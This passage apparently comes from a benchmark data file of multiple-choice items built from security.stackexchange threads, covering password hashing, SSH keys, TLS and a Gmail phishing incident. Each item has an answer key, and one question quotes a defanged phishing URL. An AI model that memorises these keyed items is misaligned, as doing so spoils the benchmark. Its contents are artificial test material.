example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/126932/how-secure-is-blacking-out-sensitive-information-using-ms-paint"} {"id": "cybersecurity_172212", "domain": "cybersecurity", "question_title": "How do mobile carriers know video resolution over HTTPS connections?", "question_body": "Verizon is modifying their \"unlimited\" data plans. Customers in the USA can stream video at 480p -or- pay to unlock higher resolutions (both 720p and +1080p). They are not the only mobile carrier to implement rules like this . If I am on a site that implements HTTPS for video streaming, say YouTube or Facebook, how do carriers know what resolution I'm watching? If carriers are throttling bandwidth for all data, then talking about video resolutions seems like misdirection. If it's only video, that would seem to raise privacy concerns.", "question_score": 204, "question_tags": ["encryption", "tls", "cellular"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "C": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current...", "D": "This is an active area of research. I happen to have done some work in this area, so I'll share what I can about the basic idea (this work was with industry partners and I can't share the secret details :) ). The tl;dr is that it's often possible to identify an encrypted traffic stream as carrying video, and it's often possible to estimate its resolution - but it's complicated, and not always accurate. There are a lot of people working on ways to do this more consistently and more accurately. Video traffic has some specific characteristics that can distinguish..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/172212/how-do-mobile-carriers-know-video-resolution-over-https-connections"} {"id": "cybersecurity_52115", "domain": "cybersecurity", "question_title": "Don't understand how my mum's Gmail account was hacked", "question_body": "My mum (on Gmail, using Chrome) received an email from a friend's Hotmail address. She opened the email (very obviously a phishing email) and clicked a link in it. This opened a webpage with loads of medical ads on. She closed the page and deleted the email. She did not notice anything else happen when she clicked the link. For example, she did not see a download start and did not click anything on the page that opened. The URI of the link she clicked was hxxp://23.88.82.34/d/?sururopo=duti&bugenugamaxo=aGViZTFzaGViZUBob3RtYWlsLmNvLnVr&id=anVuYWx4QGdvb2dsZW1haWwuY29t&dokofeyo=anVuYWx4 [DON'T visit that address!] Immediately (although she didn't know at the time) about 75 emails were sent from her Gmail address to a selection of her contacts. They are visible in the Sent Mail list in her Gmail account. This happened between 17:08 and 17:10 GMT. Here the source of one: Return-Path: Received: from localhost (host86-152-149-189.range86-152.btcentralplus.com. [86.152.149.189]) by mx.google.com with ESMTPSA id r1sm16019263wia.5.2014.02.23.09.10.15 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 23 Feb 2014 09:10:16 -0800 (PST) Message-ID: Date: Sun, 23 Feb 2014 09:10:16 -0800 (PST) MIME-Version: 1.0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable From: lalala@googlemail.com Return-Path: lalala@googlemail.com Subject: Bar gain Mount your brooms said Madam= Hooch Three two one =20 lalala@googlemail.com has sent you 3 offline broadcast Locate Full Email Content Here's the Gmail \"Activity information\" window: Type Origin Timestamp SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) SMTP United Kingdom (86.152.149.189) 17:10 (1.5 hours ago) Note that the IP address in that list, 86.152.149.189, is the same as in the header of that email. One of my mum's friends reports that she received one of the emails and clicked on the link in it. She says that her email account then sent out a load of emails too. I don't know what my mum's IP address was at the time this happened. So maybe it was 86.152.149.189. I don't understand how this happened. She had an impressively strong password (which I've now changed) that she doesn't use for anything else and she didn't type this password into the page that opened. How on earth could clicking a link in an email allow an attacker authenticate themselves with the Gmail SMTP server as my mum and then to send a load of emails as her to her contacts? And how could it have got the addresses of her contacts? Update subsequent to Iserni's answer : My mum confirms that she did indeed enter her Gmail password when \"Gmail\" asked for it after the page of medical ads closed. Her aunt received one of the emails and was also asked to enter her Gmail login details. She says she did because the original email came from my mum. Clever attack.", "question_score": 201, "question_tags": ["email", "phishing"], "choices": {"A": "It is not. This is a FUD ( fear, uncertainty, and doubt ) campaign by GMX because they want to display their ads. There is absolutely no security risk from the mentioned ad blockers. They added some crapware to the list to make it look more legitimate. Of course such campaigns are very unusual, especially from such a big and well known company like GMX. Unfortunately, I have no English source at hand (because it's a German only campaign) but since you speak German you may want to read this article at heise.de . Update #1: United Internet, the company...", "B": "IMPORTANT : this is based on data I got from your link, but the server might implement some protection. For example, once it has sent its \"silver bullet\" against a victim, it might answer with a faked \"silver bullet\" to the same request, so that anyone investigating is led astray. I have tried sending a fake parameter of cHVwcGFtZWxv to see whether it triggered any different behaviour, and it did not. Still, that's no great guarantee. UPDATE - the above still holds, but I've been making tests from random IPs not traceable to my main session - the attacking server...", "C": "You are touching a sore point… Historically , computers were mainframes where a lot of distinct users launched sessions and process on the same physical machine. Unix-like systems (e.g. Linux), but also VMS and its relatives (and this family includes all Windows of the NT line, hence 2000, XP, Vista, 7, 8...), have been structured in order to support the mainframe model. Thus, the hardware provides privilege levels . A central piece of the operating system is the kernel which runs at the highest privilege level (yes, I know there are subtleties with regards to virtualization) and manages the privilege...", "D": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/52115/dont-understand-how-my-mums-gmail-account-was-hacked"} {"id": "cybersecurity_123234", "domain": "cybersecurity", "question_title": "How can I explain to non-techie friends that "cryptography is good"?", "question_body": "After that case in which Brazilian government arrested a Facebook VP due to end-to-end encryption and no server storage of messages on WhatsApp to prove connection with a drug case, it's become pretty common for friends of mine to start conversations about what cryptography is and why we should use it on a daily basis. The same applies with the iPhone terrorist encryption case in which the FBI broke in . For non-techie friends, it's easy to understand the basics of cryptography. I have managed to explain them the basics, public key x private key, what is end-to-end encryption during communication(your data is not stored encrypted, but it is \"scrambled\" during data exchange), all the core concepts without enter on more technical words like AES, MD5, SSL, PGP, hardware encryption acceleration, TPMs, etc. They like to have encryption on their phones, but they always come up with the following concept: If terrorists/criminals could be caught by not having cryptography in our world, I would not blame data surveillance by governments and companies, nor the lack of cryptography in our communications/data storage. I explained that this point of view is somehow twisted (as a knife can be used to do crimes, but its primary use is as a tool), but I didn't keep their attention. Is there a best way to explain the value of cryptography for end-users in our modern world? (Snowden and Assange stories seems like fairy tales to them too). Compendium: Some of the explanations/concepts that didn't work so far: Would you let the government have a copy of your house key? People tend to isolate data from house access, and they clearly would say \"no, i do not want the government to have a copy of my house key and watch me doing private stuff. But if they are looking for a terrorist/criminal, it's fine to break the door\". For them, it's okay since they don't break in your house while you are pooping. The existence of a \"master key\" on encryption world is fine to them. \"My information is encrypted, but it could be turned into plain again in case of terrorism/crime\". Would you let others trace your life based on what you do online? \"But Google already does that based on emails and searches...\". This mostly shocks me, because they are \"with the flow\" and they aren't bothered with data mining. Worse, people tend to trust way too much on Google. What about the privacy of your communications? What if you are talking dirty things with your boy(girl)friend? . \"I don't talk about things that would harm others(criminally speaking) so, i don't mind on being MITM'ded.\". Again, it's fine to them if a conversation about their sexual routine is recorded, if the intent is to investigate criminal activity on their city. The Knife paradox . You can see on their faces that this is a good one, but instead, they say that \"knifes aren't as dangerous as secret information being traded between criminals so, it's okay that Knifes are misused by criminals sometimes\".", "question_score": 200, "question_tags": ["cryptography", "data-leakage"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password e38ad214943daad1d64c102faec29de4afe9da3d password1 b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 letmein 5cec175b165e3d5e62c9e13ce848ef6feac81bff qwerty123 *I'm using SHA-1...", "B": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:...", "C": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "D": "\"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account.\" The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa. It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/123234/how-can-i-explain-to-non-techie-friends-that-cryptography-is-good"} {"id": "cybersecurity_23383", "domain": "cybersecurity", "question_title": "SSH key-type, rsa, dsa, ecdsa, are there easy answers for which to choose when?", "question_body": "As someone who knows little about cryptography, I wonder about the choice I make when creating ssh-keys. ssh-keygen -t type , where type is either of dsa,rsa and ecdsa. Googling can give some information about differences between the types, but not anything conclusive. So my question is, are there any \"easy\" answers for developers/system administrators with little cryptography knowledge, when to choose which key type? I'm hoping for an answer in the style of \"Use DSA for X and Y, RSA for Z, and ECDSA for everything else\", but I also realise it's quite possible such simple answers are not available.", "question_score": 198, "question_tags": ["ssh", "key-generation"], "choices": {"A": "In practice, a RSA key will work everywhere. ECDSA support is newer, so some old client or server may have trouble with ECDSA keys. A DSA key used to work everywhere, as per the SSH standard ( RFC 4251 and subsequent), but this changed recently: OpenSSH 7.0 and higher no longer accept DSA keys by default. ECDSA is computationally lighter, but you'll need a really small client or server (say 50 MHz embedded ARM processor) to notice the difference. Right now , there is no security-related reason to prefer one type over any other, assuming large enough keys (2048 bits...", "B": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "C": "The known_hosts file lets the client authenticate the server, to check that it isn't connecting to an impersonator. The authorized_keys file lets the server authenticate the user. Server authentication One of the first things that happens when the SSH connection is being established is that the server sends its public key to the client, and proves (thanks to public-key cryptography ) to the client that it knows the associated private key. This authenticates the server: if this part of the protocol is successful, the client knows that the server is who it claims it is. The client may check that...", "D": "From what I heard earlier today, https/ssl flows correctly through your borders. You should hence check out Corkscrew . Similarly to netcat , it's used to wrap ssh in https to allow the use of https proxies. Another solution would be to use LSH which, by having a different signature than ssh, works from Iran as Siavash noted it in his message ."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/23383/ssh-key-type-rsa-dsa-ecdsa-are-there-easy-answers-for-which-to-choose-when"} {"id": "cybersecurity_50878", "domain": "cybersecurity", "question_title": "ECDSA vs ECDH vs Ed25519 vs Curve25519", "question_body": "Among the Elliptic Curve Cryptography (ECC) algorithms available in OpenSSH (ECDH, ECDSA, Ed25519, Curve25519), which offers the best level of security, and (ideally) why?", "question_score": 198, "question_tags": ["encryption", "ssh", "ecc"], "choices": {"A": "Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear. Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup. Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and...", "B": "In SSH, two algorithms are used: a key exchange algorithm (Diffie-Hellman or the elliptic-curve variant called ECDH) and a signature algorithm. The key exchange yields the session key which will be used to encrypt data for that session. The signature is so that the client can make sure that it talks to the right server (another signature, computed by the client, may be used if the server enforces key-based client authentication). ECDH uses a curve ; most software use the standard NIST curve P-256. Curve25519 is another curve, whose \"sales pitch\" is that it is faster, not stronger, than P-256....", "C": "Hibernate the computer If the ransomware is encrypting the files, the key it is using for encryption is somewhere in memory. It would be preferable to get a memory dump, but you are unlikely to have the appropriate hardware for that readily available. Dumping just the right process should also work, but finding out which one may not be trivial (eg. the malicious code may be running inside explorer.exe ), and we need to dump it now . Hibernating the computer is a cheap way to get a memory image¹ Then it could be mounted read-only on a clean computer...", "D": "According to Google , the difference is with handling referrer information when clicking on an ad. After a note from AviD and with the help of Xander we conducted some tests and here are the results 1. Clicking on an ad: https://google.com : Google will take you to an HTTP redirection page where they'd append your search query to the referrer information. https://encrypted.google.com : If the advertiser uses HTTP, Google will not let the advertiser know about your query. If the advertiser uses HTTPS, they will receive the referrer information normally (including your search query). 2. Clicking on a normal..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/50878/ecdsa-vs-ecdh-vs-ed25519-vs-curve25519"} {"id": "cybersecurity_199971", "domain": "cybersecurity", "question_title": "Search for military installed backdoors on laptop", "question_body": "My laptop was confiscated by the military institute of my country and they made me to give them all my passwords (I cannot tell you the name of my country). They did not give it back to me for one week (yes, it was out of my sight for a while). I nuked it from orbit but I just realised that it was on sleep state for 2 days and not in shutdown state, so it was connected to my modem via wifi. Does it need to be worried about? and I need to make sure if they have added something to monitor my activities or steal my data or not? And if they have done that, what should I do to prevent them. I have double checked the laptop physically and there is no sign of screw or plastic deformation. Is that still possible that they have compromised its hardware?", "question_score": 198, "question_tags": ["malware", "windows", "privacy", "backdoor"], "choices": {"A": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a...", "B": "If the device left your sight for any amount of time, replace it. It can no longer be trusted. The cost to assure it can still be trusted significantly exceeds the cost of getting a new one There is effectively no way to verify that the hardware has not been tampered with without significant expertise and employing non-trivial resources. The only solution is to replace the laptop and all associated components. Without knowing your country or other aspects of the situation you are in, there is no way for me to comment on the likelihood of this, only on the...", "C": "I was one of the implementers of JScript and on the ECMA committee in the mid to late 1990s, so I can provide some historical perspective here. The JavaScript Math.random() function is designed to return a floating point value between 0 and 1. It is widely known (or at least should be) that the output is not cryptographically secure First off: the design of many RNG APIs is horrible . The fact that the .NET Random class can trivially be misused in multiple ways to produce long sequences of the same number is awful. An API where the natural way...", "D": "I think the safest option for you would be to use Qubes OS with its built in DisposableVM s functionality, and its “ Convert to Trusted PDF ” tool. What is Qubes OS? Qubes is an operating system where it's all based on virtual machines. You can think of it as if you had different isolated ‘computers’ inside yours. So that way you can compartmentalize your digital life into different domains, so that you can have a ‘computer’ where you only do work related stuff, another ‘computer’ that is offline and where you store your password database and your PGP..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/199971/search-for-military-installed-backdoors-on-laptop"} {"id": "cybersecurity_167412", "domain": "cybersecurity", "question_title": "Isn't Ubuntu's system prompt for my password spoofable?", "question_body": "Sometimes, Ubuntu shows the following window: This window can be caused by some background processes running, such as an automatic update, or a process which reports bugs to Canonical which manifests itself this way: Since those are background processes, the first window is not shown in response to an action I performed myself, in a situation where I was expecting the system to ask me for the password. This means that: From the perspective of the user, there is no guarantee that the prompt comes from the operating system; it could be any malicious program which had only a limited permission to show a window, and which, by prompting for my password, will gain unlimited access to the entire machine. By prompting the user for a password regularly, the system teaches the user that giving his system password whenever some application asks for it is a perfectly natural thing to do. My questions are: Is there any safety mechanism in Linux in general or Ubuntu specifically that prevents any application from displaying a dialog which looks identical to the system one, asking me for my password? How should such windows be designed to increase the safety of the user? Why not implement a system similar to Windows' Ctrl + Alt + Del on logon ?", "question_score": 194, "question_tags": ["passwords", "linux", "privilege-escalation"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "No, this is not a good practice. There are two distinct problems. encrypting the password instead of hashing it is a bad idea and is borderline storing plain text passwords. The whole idea of slow hash functions is to thwart the exfiltration of the user database. Typically, an attacker that already has access to the database can be expected to also have access to the encryption key if the web application has access to it. Thus, this is borderline plaintext; I almost voted to close this as a duplicate of this question , because this is almost the same and...", "C": "As a starting point, we will consider that each elementary operation implies a minimal expense of energy; Landauer's principle sets that limit at 0.0178 eV, which is 2.85×10 -21 J. On the other hand, the total mass of the Solar system, if converted in its entirety to energy, would yield about 1.8×10 47 J (actually that's what you would get from the mass of the Sun, according to this page , but the Sun takes the Lion's share of the total mass of the Solar system). This implies a hard limit of about 6.32×10 68 elementary computations, which is about...", "D": "Your points are all good, and you are correct, but before we get outraged about it we need to remind ourselves how the linux security model works and what it's designed to protect. Remember that the Linux security model is designed with a multi-user terminal-only or SSH server in mind. Windows is designed with an end-user workstation in mind (but I've heard that the recent generation of Windows is more terminal-friendly). In particular, Linux convention does a better job of sandboxing apps into users, while in Windows anything important runs as System, while the Linux GUI (X Server) sucks at..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/167412/isnt-ubuntus-system-prompt-for-my-password-spoofable"} {"id": "cybersecurity_20129", "domain": "cybersecurity", "question_title": "How and when do I use HMAC?", "question_body": "I was reading HMAC on wikipedia and I was confused about a few points. Where do I use HMAC? Why is the key part of the hash? Even if someone successfully used a \"length-extension attack\", how would that be useful to the attacker?", "question_score": 191, "question_tags": ["hmac"], "choices": {"A": "This attack is supposed to be presented 10 days from now, but my guess is that they use compression . SSL/TLS optionally supports data compression. In the ClientHello message, the client states the list of compression algorithms that it knows of, and the server responds, in the ServerHello , with the compression algorithm that will be used. Compression algorithms are specified by one-byte identifiers, and TLS 1.2 (RFC 5246) defines only the null compression method (i.e. no compression at all). Other documents specify compression methods, in particular RFC 3749 which defines compression method 1, based on DEFLATE , the LZ77-derivative...", "B": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "C": "A message authentication code (MAC) is produced from a message and a secret key by a MAC algorithm. An important property of a MAC is that it is impossible¹ to produce the MAC of a message and a secret key without knowing the secret key. A MAC of the same message produced by a different key looks unrelated. Even knowing the MAC of other messages does not help in computing the MAC of a new message. An HMAC is a MAC which is based on a hash function . The basic idea is to concatenate the key and the message,...", "D": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/20129/how-and-when-do-i-use-hmac"} {"id": "cybersecurity_39231", "domain": "cybersecurity", "question_title": "How do I deal with a compromised server?", "question_body": "I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve \"evidence\", are there other initial considerations? How do I go about getting services back online? How do I prevent the same thing from happening immediately again? Are there best practices or methodologies for learning from this incident? If I wanted to put a Incident Response Plan together, where would I start? Should this be part of my Disaster Recovery or Business Continuity Planning? This is meant to be a canonical post for this topic. Originally from serverfault .", "question_score": 190, "question_tags": ["system-compromise"], "choices": {"A": "Originally from serverfault. Thanks to Robert Moir (RobM) It's hard to give specific advice from what you've posted here but I do have some generic advice based on a post I wrote ages ago back when I could still be bothered to blog. Don't Panic First things first, there are no \"quick fixes\" other than restoring your system from a backup taken prior to the intrusion, and this has at least two problems. It's difficult to pinpoint when the intrusion happened. It doesn't help you close the \"hole\" that allowed them to break in last time, nor deal with the...", "B": "The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These policies also help minimize some of the risk associated with losing older backups to an attacker. For example, if an attacker were to break in and acquire your shadow password file, they could then start brute forcing the passwords without further accessing the system. Once they know your password, they can access the system and install whatever back doors they want unless you happen to have changed your password in...", "C": "An IP address can be set up in DNS to resolve to any host name, by whoever is in control of that IP address. For example, if I am in control of the netblock 203.0.113.128/28, then I can set up 203.0.113.130 to reverse-resolve to presidential-desktop.oval-office.whitehouse.gov . I don't need control of whitehouse.gov to do this, though it can help in some situations (particularly, with any software that checks to make sure reverse and forward resolution matches ). That wouldn't mean that the president of the United States logged into your VPS. If someone has access to your system, they can...", "D": "Facebook is allowing you to make a handful of mistakes to ease the login process. A Facebook engineer explained the process at a conference . The gist of it is that Facebook will try various permutations of the input you submitted and see if they match the hash they have in their database. For example, if your password is \"myRealPassword!\" but you submit \"MYrEALpASSWORD!\" (capslock on, shift inverting capslock). The submitted password obviously doesn't match what they have stored in their database. Rather than reject you flat out, Facebook tries to up the user experience by trying to \"correct\" a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/39231/how-do-i-deal-with-a-compromised-server"} {"id": "cybersecurity_53481", "domain": "cybersecurity", "question_title": "Does Facebook store plain-text passwords?", "question_body": "I was about to reset my Facebook password and got this error: Your new password is too similar to your current password. Please try another password. I assumed that Facebook stores only password hashes, but if so, how can they measure passwords similarity? This should be impossible with good hashing function, right? Question is - how is this possible and what are the implications? Thanks in advance. UPDATE I didn't make it clear - I was not asked to provide old and new password. It was the \"reset password\" procedure, where I only provide a new password, so most of answers of suggested duplicate are not applicable. UPDATE2 mystery solved - see comment (from Facebook engineer)", "question_score": 190, "question_tags": ["passwords", "hash", "facebook"], "choices": {"A": "Let's hope and assume that Facebook stores only hashes of current password (and potentially previous passwords). Here is what they can do: user sets first password to \"first\" and fb stores hash(\"first\"). later on, users resets password and is asked to provide new password \"First2\" Facebook can generate bunch of passwords (similar to the new one): [\"First2\", \"fIrst2\", \"firSt2\", ... \"first2\", ... \"first\", ... ] and and then compare hash of each with the stored hash. This is the only solution that comes to my mind. Any other?", "B": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "C": "By any measure, they're wrong: Seven random printable ASCII: 95 7 = 69 833 729 609 375 possible passwords. Ten random alphabetics: 52 10 = 144 555 105 949 057 024 possible passwords, or over 2000 times as many. Length counts. If you're generating your passwords randomly, it counts for far more than any other method of making them hard to guess.", "D": "This is still up to date as of July 2024. The OpenSSH defaults are safe to trust. I recommend the Secure Secure Shell article, which suggests: ssh-keygen -t ed25519 -a 100 Ed25519 is an EdDSA scheme with very small (fixed size) keys, introduced in OpenSSH 6.5 (2014-01-30) and made default (\"first-preference\") in OpenSSH 8.5 (2021-03-03). These have complexity akin to RSA at 4096 bits thanks to elliptic curve cryptography (ECC). The -a 100 option specifies 100 rounds of key derivations, making your key's password harder to brute-force. In OpenSSH 9.0 (2022-04-08), OpenSSH also set its default key exchange method to..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/53481/does-facebook-store-plain-text-passwords"} {"id": "cybersecurity_3989", "domain": "cybersecurity", "question_title": "How to determine what type of encoding/encryption has been used?", "question_body": "Is there a way to find what type of encryption/encoding is being used? For example, I am testing a web application which stores the password in the database in an encrypted format ( WeJcFMQ/8+8QJ/w0hHh+0g== ). How do I determine what hashing or encryption is being used?", "question_score": 185, "question_tags": ["encryption", "cryptography", "encoding", "cryptanalysis"], "choices": {"A": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the...", "B": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could...", "C": "No, this is not a good practice. There are two distinct problems. encrypting the password instead of hashing it is a bad idea and is borderline storing plain text passwords. The whole idea of slow hash functions is to thwart the exfiltration of the user database. Typically, an attacker that already has access to the database can be expected to also have access to the encryption key if the web application has access to it. Thus, this is borderline plaintext; I almost voted to close this as a duplicate of this question , because this is almost the same and...", "D": "Your example string ( WeJcFMQ/8+8QJ/w0hHh+0g== ) is Base64 encoding for a sequence of 16 bytes, which do not look like meaningful ASCII or UTF-8. If this is a value stored for password verification (i.e. not really an \"encrypted\" password, rather a \"hashed\" password) then this is probably the result of a hash function computed over the password; the one classical hash function with a 128-bit output is MD5. But it could be about anything. The \"normal\" way to know that is to look at the application code. Application code is incarnated in a tangible, fat way (executable files on a..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/3989/how-to-determine-what-type-of-encoding-encryption-has-been-used"} {"id": "cybersecurity_138996", "domain": "cybersecurity", "question_title": "Is the NHS wrong about passwords?", "question_body": "An NHS doctor I know recently had to do their online mandatory training questionnaire, which asks a bunch of questions about clinical practice, safety and security. This same questionnaire will have been sent to all the doctors in this NHS trust. The questionnaire included the following question: Which of the following would make the most secure password? Select one: a. 6 letters including lower and upper case. b. 10 letters a mixture of upper and lower case. c. 7 characters that include a mixture of numbers, 